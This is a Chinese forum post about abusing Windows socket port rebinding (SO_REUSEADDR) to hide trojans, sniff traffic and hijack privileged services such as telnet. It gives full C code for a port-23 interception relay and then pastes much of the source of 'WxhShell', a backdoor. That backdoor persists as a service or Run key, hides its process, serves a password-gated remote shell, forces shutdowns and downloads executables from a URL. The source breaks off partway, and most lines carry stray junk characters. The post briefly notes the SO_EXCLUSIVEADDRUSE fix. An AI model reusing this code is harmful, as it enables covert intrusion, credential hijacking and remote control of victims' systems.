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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d/BM&r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SZ,YS 4M  
-=~| ."O  
  saddr.sin_family = AF_INET; ~$)2s7 O  
Pb1*\+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VFRi1\G  
"JlpU-8[0@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sE:M@`2L  
`%+Wz0(K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g/P+ZXJ  
-(  
  这意味着什么?意味着可以进行如下的攻击: bYEy<7)x  
iV&6nh(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GT0Of~?f  
P*FMwrJj>r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IF44F3(V4  
syaPpM Q-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nm6h%}xND<  
~]nSSD)\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;1%-8f:lW  
W3MU1gl6k{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wE?'Cl  
KwPOO{4]g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B"!l2  
a-=8xs'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^pQCNKLBY  
y#U+c*LB  
  #include S/9DtXQ  
  #include ,n3a gkPO>  
  #include 9%B\/&f  
  #include    0:9.;x9_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @GdbTd  
  int main() ";3zX k[#  
  { Qa-K$dm%  
  WORD wVersionRequested; sj HrPs e  
  DWORD ret; I'uSp-Sfy  
  WSADATA wsaData; mt,OniU=Q  
  BOOL val; 0=AVW`J  
  SOCKADDR_IN saddr; BT}!W`  
  SOCKADDR_IN scaddr; !,6c ~ w  
  int err; ~N<4L>y<  
  SOCKET s; z([ v%zf  
  SOCKET sc; 7f0lQ  
  int caddsize; K`u(/kz/<  
  HANDLE mt; `HZ;NRr  
  DWORD tid;   |}(`kW  
  wVersionRequested = MAKEWORD( 2, 2 ); FaDjLo2'o  
  err = WSAStartup( wVersionRequested, &wsaData ); mP0yk|  
  if ( err != 0 ) { m^ tFi7c  
  printf("error!WSAStartup failed!\n"); y:~ZLTAv  
  return -1; C|}iCB  
  } -"=U?>(  
  saddr.sin_family = AF_INET; `f*Q$Ulqx  
   #a'Ex=%rM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v(ZYS']d2  
tjdaaN#,V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $W!!wN=B  
  saddr.sin_port = htons(23); kBD>-5Sn_T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $5ak_@AC  
  { P)Rh=U  
  printf("error!socket failed!\n"); j g8fU  
  return -1; 57umx`m  
  } jRJn+  
  val = TRUE; gcdlT7F)b-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CGY]r.O*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -f%'  
  { q*_/to  
  printf("error!setsockopt failed!\n");  %oZ6l*  
  return -1; 925|bX6I  
  } \s=t|Wpu2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C71qPb|$R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E4|jOz^j4\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w5Ay)lz  
BD_Iz A<wK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NQ(1   
  { GP?M!C,/}k  
  ret=GetLastError(); DU5c=rxW  
  printf("error!bind failed!\n"); [AYOYENp-  
  return -1; k1{K*O$e  
  } wt!nMQ  
  listen(s,2); 5=v}W:^v.  
  while(1) RS)tO0  
  { '98VYCL  
  caddsize = sizeof(scaddr); kEOS{C%6R  
  //接受连接请求 "B3N* R(["  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JBE!j-F  
  if(sc!=INVALID_SOCKET) M>~Drul  
  { `$,GzS(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y9q8i(E0  
  if(mt==NULL) LBM ^9W  
  { :.Jf0  
  printf("Thread Creat Failed!\n"); +av@$}  
  break; W6?pswQ  
  } v"b+$*  
  } }1Gv)l7  
  CloseHandle(mt); Cd,jDPrw  
  } FbS|~Rp~  
  closesocket(s); gW>uR3Ca4  
  WSACleanup();  gQ'zW  
  return 0; #_6I w`0  
  }   Q=AavKn#  
  DWORD WINAPI ClientThread(LPVOID lpParam) :S<f?* }:  
  { gl\\+VyU  
  SOCKET ss = (SOCKET)lpParam; /?@3.3sl_  
  SOCKET sc; pGJ>O/%  
  unsigned char buf[4096]; %?}33yV  
  SOCKADDR_IN saddr; i~I%D%;  
  long num; 2NC.Z;  
  DWORD val; bCo7*<I4  
  DWORD ret; fZ0M%f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =G7m)!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cq}EZ@ .  
  saddr.sin_family = AF_INET; `Aw^H!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); . $BUw  
  saddr.sin_port = htons(23); xF;kT BRi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _P0T)-X\(  
  { "e.jZcN*  
  printf("error!socket failed!\n"); 7 n8"/0kc:  
  return -1; DJ'zz&K  
  } coW:DFX  
  val = 100; &;^YBW:I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }=<  
  { YC++& Nk  
  ret = GetLastError(); Z/k:~%|E  
  return -1; kW;+|qs^  
  } #Y*X<L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) llcb~  
  { ?[@J8  
  ret = GetLastError(); f .Q\Z'S^  
  return -1; AL9chYP}/  
  } ~;l@|7wGz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ED=V8';D  
  { XGYbnZ~   
  printf("error!socket connect failed!\n"); RL!Oi|8  
  closesocket(sc); )J2mM  
  closesocket(ss);  gbF+WE  
  return -1; L2\#w<d  
  } ]V^iN=(_5  
  while(1) Xe$I7iKD  
  { RRmz"j>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ULs\+U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;_c;0)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]Lf{Jboo  
  num = recv(ss,buf,4096,0); e?0l"  
  if(num>0) Q6PHpaj  
  send(sc,buf,num,0); 4!Fo$9  
  else if(num==0) NjVYLn<.r  
  break; FHj" nB  
  num = recv(sc,buf,4096,0); ur)9x^y  
  if(num>0) Of*Pw[vD  
  send(ss,buf,num,0); &S~zNl^m  
  else if(num==0) z* ^_)Z  
  break; tr<Nm6!  
  } Hx"ob_^'7  
  closesocket(ss); nV"~-On  
  closesocket(sc); e>6y%v;  
  return 0 ; dBYmiF!+  
  } wjH zE  
g%sluT[#  
C'9Cr}cZ.  
========================================================== arIf'CG6  
a =J^  
下边附上一个代码,,WXhSHELL @5N]ZQ9  
smlpD3?va  
========================================================== BF\XEm?!  
)(bW#-  
#include "stdafx.h" h;p>o75O  
YWe{juXSw  
#include <stdio.h> |,S+@"0#  
#include <string.h> -.1y(k^4E  
#include <windows.h> Bal$+S  
#include <winsock2.h> /Lfm&;  
#include <winsvc.h> kjIAep0rT  
#include <urlmon.h> ^yWL,$  
r(:5kC8K  
#pragma comment (lib, "Ws2_32.lib") zBCtd1Xrni  
#pragma comment (lib, "urlmon.lib") A 9( x  
3x`|  
#define MAX_USER   100 // 最大客户端连接数 * aN  
#define BUF_SOCK   200 // sock buffer ,k24w7K%d  
#define KEY_BUFF   255 // 输入 buffer V3&RJ k=b  
&Y!-%{e  
#define REBOOT     0   // 重启 IdzxS  
#define SHUTDOWN   1   // 关机 v:IpMU-+\  
&TUWW/?T  
#define DEF_PORT   5000 // 监听端口 p2#)A"  
p)`{Sos  
#define REG_LEN     16   // 注册表键长度 yMG1XEhuG  
#define SVC_LEN     80   // NT服务名长度 `.E[}W  
K*%9)hq  
// 从dll定义API PY{ G [  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F}F&T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lf16j*}-Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xnt~]k\"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G? ])o5  
t>L;kRujVJ  
// wxhshell配置信息 FtpK)9/4  
struct WSCFG { QX!-B  
  int ws_port;         // 监听端口 m,VOx7%n  
  char ws_passstr[REG_LEN]; // 口令 = i$Fl{vH  
  int ws_autoins;       // 安装标记, 1=yes 0=no X$HIVxyq2  
  char ws_regname[REG_LEN]; // 注册表键名 ( Z619w  
  char ws_svcname[REG_LEN]; // 服务名 Yrb{ByO&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C].iCxn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q 8T]\6)m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1#C4;3i,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b,5~b&<h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .8@$\ZRP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x6BuF_.   
YJ^] u}  
}; bn#"?6Z2  
zZ7;jyD  
// default Wxhshell configuration b+%f+zz*h  
struct WSCFG wscfg={DEF_PORT, 3_ r*y9l  
    "xuhuanlingzhe", Hkk/xNP  
    1, CnU*Jb  
    "Wxhshell", uW=k K0E  
    "Wxhshell", o m^0}$V  
            "WxhShell Service",  ]3x?  
    "Wrsky Windows CmdShell Service", \9cbI3rGz  
    "Please Input Your Password: ", HguT"%iv  
  1, };mA^xO]j  
  "http://www.wrsky.com/wxhshell.exe", E-4b[xNj*+  
  "Wxhshell.exe" ojafy}  
    }; x u>9(,l  
n4s+>|\M  
// 消息定义模块 A}BVep@D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oL!EYbFD'Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lsgh#x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zvvhFN2s  
char *msg_ws_ext="\n\rExit."; }{,^@xdyW  
char *msg_ws_end="\n\rQuit.";  '<jyw   
char *msg_ws_boot="\n\rReboot..."; &T+atL`N  
char *msg_ws_poff="\n\rShutdown..."; ?5+.`L9H  
char *msg_ws_down="\n\rSave to "; $3W;=Id=+  
p2Z?T}fa}&  
char *msg_ws_err="\n\rErr!"; -Y1e8H ='  
char *msg_ws_ok="\n\rOK!"; bZ?v-fn\D,  
D|lzGt  
char ExeFile[MAX_PATH]; "LHcB]^<  
int nUser = 0; bbtGXfI+SB  
HANDLE handles[MAX_USER]; ]jtK I4  
int OsIsNt; J; 3{3  
F<ZYh  
SERVICE_STATUS       serviceStatus; 7G:s2432  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $'0u|Xy`  
1[mXd  
// 函数声明 -0d0t!  
int Install(void); 9?A)n4b;  
int Uninstall(void); ~De"?  
int DownloadFile(char *sURL, SOCKET wsh); gD0eFTN  
int Boot(int flag); r  [9x  
void HideProc(void); 6 +Sxr  
int GetOsVer(void); GSY(  
int Wxhshell(SOCKET wsl); s6ZuM/Q  
void TalkWithClient(void *cs); &Q9qq~  
int CmdShell(SOCKET sock); @*F"Q1 wI  
int StartFromService(void); H;D>|q  
int StartWxhshell(LPSTR lpCmdLine); @+;$jRwq  
Bt[/0>i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )}''L{k-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?RX3MUN  
#c!*</  
// 数据结构和表定义 b[__1E9v'  
SERVICE_TABLE_ENTRY DispatchTable[] = (ScxLf=]  
{ #&cI3i  
{wscfg.ws_svcname, NTServiceMain}, +y,T4^{  
{NULL, NULL} x* DarSk  
}; g6W)4cC8a  
S_iMVHe  
// 自我安装 HvUxsdT  
int Install(void) YSs)HV.8  
{ 062,L~&E  
  char svExeFile[MAX_PATH]; 7wWFr  
  HKEY key; F@^~7ZmP`  
  strcpy(svExeFile,ExeFile); kHk px52  
,K>I%_!1  
// 如果是win9x系统,修改注册表设为自启动 y6@0O%TDN  
if(!OsIsNt) { zuP B6W^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *aXF5S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >@BnV{ d  
  RegCloseKey(key); ,V'o4]H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rjl`&POqc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 32l3vv.j  
  RegCloseKey(key); ImCe K  
  return 0; v.\*./-i  
    } -Bt k 3  
  } +[Dj5~V  
} +_7*iJtD5  
else { ~)*,S^k(C.  
+O'3|M  
// 如果是NT以上系统,安装为系统服务 gwNq x"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z _g~  
if (schSCManager!=0) hrmut*<|  
{ yhlFFbU  
  SC_HANDLE schService = CreateService OL5v).Bb  
  ( zh4# A <e  
  schSCManager, 1pQn8[sc@  
  wscfg.ws_svcname, 6L:x^bM  
  wscfg.ws_svcdisp, H!vax)%-\  
  SERVICE_ALL_ACCESS, .R`5 Qds*l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )js)2L~  
  SERVICE_AUTO_START, 2`.cK 3  
  SERVICE_ERROR_NORMAL, hS_6  
  svExeFile, ?=>+LqP  
  NULL, Ytgcs( /$  
  NULL, S(QpM.9*  
  NULL, dCb`xR}  
  NULL, | H!28h  
  NULL %el"BSB  
  ); YpQ7)_s ?  
  if (schService!=0) g! cUF+  
  { |\w=u6jX  
  CloseServiceHandle(schService); ^*S ,xP  
  CloseServiceHandle(schSCManager); wU8Mt#D!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ADZ};:]  
  strcat(svExeFile,wscfg.ws_svcname); :d3bt~b'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~7Y+2FZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V=)_yIS  
  RegCloseKey(key); Gb"r|(!  
  return 0; l|xZk4@_uE  
    } _a_7,bk5  
  } z+ s6)Ad  
  CloseServiceHandle(schSCManager); Q*~LCtrI  
} n-5W*zk1  
} 'AzDP;6qFI  
J~=n`pW  
return 1; >oea{u  
} )S`jFQ1  
ktI/3Mb@  
// 自我卸载 ^L0d/,ik  
int Uninstall(void) )i q-yjO6  
{ j0Bu-sO$w  
  HKEY key; W8Q|$ZJ88F  
og4UhP^UET  
if(!OsIsNt) { ?MXejEC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .id)VF-l  
  RegDeleteValue(key,wscfg.ws_regname); NxSu 3e~PS  
  RegCloseKey(key); @|LBn6q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Kyw^DI  
  RegDeleteValue(key,wscfg.ws_regname); f5F@^QXQ  
  RegCloseKey(key); I[b}4M6E  
  return 0; >tTj[cMJl  
  } & +4gSr  
} qNI, 62  
} )q 0.0<f  
else { dlU'2Cl7d  
ur*T%b9&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |4 v0:ETb$  
if (schSCManager!=0) AGH|"EWG  
{ -<Hu!V`+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C(S'#cm  
  if (schService!=0) 1<+2kBuY  
  { kR]!Vr*yh  
  if(DeleteService(schService)!=0) { ?!wgH9?8  
  CloseServiceHandle(schService); 'jmTXWq*  
  CloseServiceHandle(schSCManager); "dsU>3u  
  return 0; W-Fu-Cz=  
  } ZPc@Zr`z  
  CloseServiceHandle(schService); Wf>zDW^"R  
  } lJ+0P2@h*  
  CloseServiceHandle(schSCManager); x8!ol2\`<  
} ^BUYjq%(`  
} c;{Q,"9U  
yvgrIdEP  
return 1; Q F-LU  
} UUF ;p2{f  
ub7zA!%  
// 从指定url下载文件 6UevpDB  
int DownloadFile(char *sURL, SOCKET wsh) df*5,NV'-*  
{ iQ4);du  
  HRESULT hr; H(2!1?N+  
char seps[]= "/"; ex+\nD>t4  
char *token; Wqc)Fv70m  
char *file; _nD$b={g  
char myURL[MAX_PATH]; FvN<<&B  
char myFILE[MAX_PATH]; {D!6%`HKV+  
Op"M.]#  
strcpy(myURL,sURL); o8zy^zN$6  
  token=strtok(myURL,seps); y'(Ne=y  
  while(token!=NULL) uMut=ja(U  
  { DjI3?NN  
    file=token; \I["2C]3M  
  token=strtok(NULL,seps); !1n8vzs"c  
  } fR)m%m  
<cZGxff01  
GetCurrentDirectory(MAX_PATH,myFILE); %ThyOl@O  
strcat(myFILE, "\\"); fq5_G~c =  
strcat(myFILE, file); C|d\3S\(  
  send(wsh,myFILE,strlen(myFILE),0); |X,|QC*7?  
send(wsh,"...",3,0); WZazJ=27}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3= DNb+D!  
  if(hr==S_OK) Au{<hQ =  
return 0; ^M%uV  
else +zrAG 24q  
return 1; 0`)iIz  
@S|jC2^+h  
} H~GQ;PhRx  
A 6OGs/:&  
// 系统电源模块 Na$Is'F &p  
int Boot(int flag) b8$gx:aJ>$  
{ CSGz3uC2D  
  HANDLE hToken; ^Y u6w\QM  
  TOKEN_PRIVILEGES tkp; GM<BO8Y.  
S{FROC~1R  
  if(OsIsNt) { af#pR&4}   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #Y0-BYa^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %uJ<M-@r=u  
    tkp.PrivilegeCount = 1; !lxTX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \%/#x V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0VckocF  
if(flag==REBOOT) { pWPIJ>2G:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A,V\"KU  
  return 0; BYO"u6  
} I8+~ &V}  
else { [cTe54n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *+TH#EL2  
  return 0; } X^|$  
} %{(x3\ *&  
  } hX`hs- *qM  
  else { o;W`4S^  
if(flag==REBOOT) { \Y|~2Ls8tu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'eo KZX+  
  return 0; i<H wTmm$  
} B=>RH!&  
else { Q:|l`*.R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K =C!b?  
  return 0; oY1';&BO9  
} rj6tZJZ#o0  
} Ma'_e=+A  
c9kzOQ2n  
return 1; 2pzF5h  
} %q!8={J8  
T[,/5J  
// win9x进程隐藏模块 FP0G]=ME  
void HideProc(void) {r> .G7P6  
{ {%VV\qaC  
[zL7Q^~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6ZKsz5:=  
  if ( hKernel != NULL ) JC}f-%H?K  
  { A a= u+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t~E<j+<2B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t6,wjN-J  
    FreeLibrary(hKernel); e'*`.^  
  } yz-,)GB6  
b B  x?  
return; 4Sm]>%F':  
} % r-V2)  
p. R2gl1m  
// 获取操作系统版本 3' ~gvi I  
int GetOsVer(void) B|C/ Rk6?  
{ +$$$  
  OSVERSIONINFO winfo; HQUeWCN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .s<*'B7&  
  GetVersionEx(&winfo); v1|Bf8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J[A14z]#`  
  return 1; eVt$7d?Jw  
  else aWwPvd3  
  return 0; v~T7`  
} a@@M+9Q  
p}|.ZkyN  
// 客户端句柄模块 @WQK>-=(3  
int Wxhshell(SOCKET wsl) G [:N0{v5  
{  |y h\  
  SOCKET wsh; xXY.AoO6  
  struct sockaddr_in client; }R)=S_j  
  DWORD myID; i.xXb [M+  
DNR~_3Aq  
  while(nUser<MAX_USER) )mJf|W!Z#  
{ U9&k;`  
  int nSize=sizeof(client); tV_t6x_.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Tx 1 vL  
  if(wsh==INVALID_SOCKET) return 1; ?E9DXg  
&O)&k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?9HhG?_x  
if(handles[nUser]==0) +vNZW@_$D  
  closesocket(wsh); ari7iF ~j  
else ^A][)*SZ  
  nUser++; YXU|h  
  } $B#6tk~u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B d^"=+c4  
Fhv2V,nZ<  
  return 0; T1` |~Z?g-  
} C@Nv;;AlU  
K*IxUz(  
// 关闭 socket }m/RZP~=  
void CloseIt(SOCKET wsh) 2>]a)  
{ T/c<23i  
closesocket(wsh); !Oj)B1gc6&  
nUser--; K. %U  
ExitThread(0); '`|A I:L  
} FVB;\'/  
\eGKkSy  
// 客户端请求句柄 @)>D))+  
void TalkWithClient(void *cs) uK ("<u|  
{ mv atUe  
ESg+n(R  
  SOCKET wsh=(SOCKET)cs; j}F-Xs+  
  char pwd[SVC_LEN]; fa&-. *  
  char cmd[KEY_BUFF]; >S1)YKgz  
char chr[1]; 'q>2t}KG  
int i,j; `^(jm  
R8-^RvG  
  while (nUser < MAX_USER) { FG%j {_Ez  
-ZW3  
if(wscfg.ws_passstr) { Uw/l>\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vBvNu<v7te  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O lfn  
  //ZeroMemory(pwd,KEY_BUFF); oyk>vIZ  
      i=0; <e)o1+[w  
  while(i<SVC_LEN) { a`E*\O'd  
_Cy:]2o  
  // 设置超时 v)f7};"z   
  fd_set FdRead; `_5GG3@Ff  
  struct timeval TimeOut; Z,c,G2D  
  FD_ZERO(&FdRead); Eq^uKi  
  FD_SET(wsh,&FdRead); v8/6wy?  
  TimeOut.tv_sec=8; `W `0Fwu9  
  TimeOut.tv_usec=0; Q<6P. PTya  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?X9]HlH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cs@ +r  
6al=Cwf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Z Ke  
  pwd=chr[0]; S'U@X  
  if(chr[0]==0xd || chr[0]==0xa) { zSv^<`X3  
  pwd=0; tfkr+ /  
  break; a$9A(Pte  
  } 3Z>YV]YbeU  
  i++; JI|6B  
    } Ogg#jx(4  
'R9g7,53R  
  // 如果是非法用户,关闭 socket |xr\H8:(!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1%J.WH6eQ  
} `Zz uo16  
;pJ2V2 g8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ogeL[7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h?UVDzI!O  
a :HNg  
while(1) { ;`v% sx#  
}:z5t,u6  
  ZeroMemory(cmd,KEY_BUFF); h:/1X' 3d  
cPn+<M#  
      // 自动支持客户端 telnet标准   ,>LRa  
  j=0; oc{EuW{Ag  
  while(j<KEY_BUFF) { MS<SAD>w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =l942p  
  cmd[j]=chr[0]; d"~(T:=r  
  if(chr[0]==0xa || chr[0]==0xd) { rrs"N3!aT  
  cmd[j]=0; 99OD= pxQ  
  break; 7Bz*r0 9S  
  } ~VTs:h  
  j++; Y7U&Q:5'  
    } 1;| LI?  
2GWDEgI1o  
  // 下载文件 b^`AJK  
  if(strstr(cmd,"http://")) { *s)}Bj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Eff\Aq{  
  if(DownloadFile(cmd,wsh)) F6S~$<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4B-yTyO  
  else r;iV$Rq !  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *(GZ^QH.  
  } 8v y G*UK  
  else { sI 4yG  
U!e6FHj7  
    switch(cmd[0]) { 2L\3S ukj  
  .tF|YP==  
  // 帮助 {<w +3Va  
  case '?': { BH@b1}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UP2.]B!d  
    break; */OI *{Q  
  } %85Icg  
  // 安装 :#="%  
  case 'i': { L>Jd7; =  
    if(Install()) rOl6lQW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u/AT-e r;  
    else |V`S >m%N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sl~x$9`  
    break; X QbNH~  
    } L2-^! '  
  // 卸载 mog9jw  
  case 'r': { b>cafu  
    if(Uninstall()) /N^~U&7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'pP-rdx  
    else w@]jpH;WX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mVm4fHEYwU  
    break; Rt= X% [YL  
    } J(h3]J/Yw  
  // 显示 wxhshell 所在路径 zTCP )x  
  case 'p': { M?o{STt  
    char svExeFile[MAX_PATH]; FMu!z  
    strcpy(svExeFile,"\n\r"); ;Gm>O7"|@  
      strcat(svExeFile,ExeFile); r(uP!n1+  
        send(wsh,svExeFile,strlen(svExeFile),0); (;6s)z  
    break; ValS8V*N1  
    } &v# `t~  
  // 重启 6w#nkF  
  case 'b': { DBbc|I/[l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LXhaD[1Rb  
    if(Boot(REBOOT)) Qp:6= o0:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PM~*|(fA  
    else { ZTf_#eS$  
    closesocket(wsh); 'M%5v'$y  
    ExitThread(0); dl[ob,aCK  
    } boQ)fV"  
    break; rB]W,8~%  
    } *Wyl2op6  
  // 关机 0#|7U_n  
  case 'd': { yMIT(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  t.3 \/  
